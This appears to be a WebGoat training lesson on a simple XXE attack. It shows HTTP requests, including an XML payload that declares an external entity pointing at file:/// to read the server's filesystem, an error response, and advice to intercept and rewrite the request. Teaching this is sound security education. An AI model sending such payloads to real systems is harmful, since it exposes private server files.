|
||||
|
||||
[source, xml]
|
||||
----
|
||||
POST /WebGoat/xxe/simple
|
||||
Content-Type: application/xml
|
||||
|
||||
<?xml version="1.0"?><comment><text>This is my first comment, nice picture</text></comment>
|
||||
----
|
||||
|
||||
The web page is making a xhr request to post a xml message, after that the comment is displayed in the comment section. Now let's try change the request a bit as shown in the previous section:
|
||||
|
||||
[source, xml]
|
||||
----
|
||||
POST /WebGoat/xxe/simple
|
||||
Content-Type: application/xml
|
||||
|
||||
<?xml version="1.0" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;</text></comment>
|
||||
----
|
||||
|
||||
So instead of including a specific file we make a reference to the root of the filesystem with `file:///`. If we just copy and paste this in the comment text box you will get an error in the response body
|
||||
|
||||
[source,json]
|
||||
----
|
||||
{
|
||||
"lessonCompleted" : false,
|
||||
"feedback" : "Sorry the solution is not correct, please try again.",
|
||||
"output" : "...javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,44]\\nMessage: The processing instruction target matching \\\"[xX][mM][lL]\\\" is not allowed.]"
|
||||
"assignment" : "SimpleXXE",
|
||||
"attemptWasMade" : true
|
||||
}
|
||||
----
|
||||
|
||||
This is due to the fact that the JavaScript is taking the input and creates the following message:
|
||||
|
||||
[source%linenums, xml]
|
||||
----
|
||||
POST /WebGoat/xxe/simple
|
||||
Content-Type: application/xml
|
||||
|
||||
<?xml version="1.0"?>
|
||||
<comment>
|
||||
<text>
|
||||
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]><comment><text>&root;</text></comment>
|
||||
</text>
|
||||
</comment>
|
||||
----
|
||||
Line 7 contains the input entered in text box if we would use the comment form.
|
||||
|
||||
To solve the lesson you have to intercept the complete the outgoing request and replace the complete body with the solution. See our lessons about intercepting HTTP traffic.
|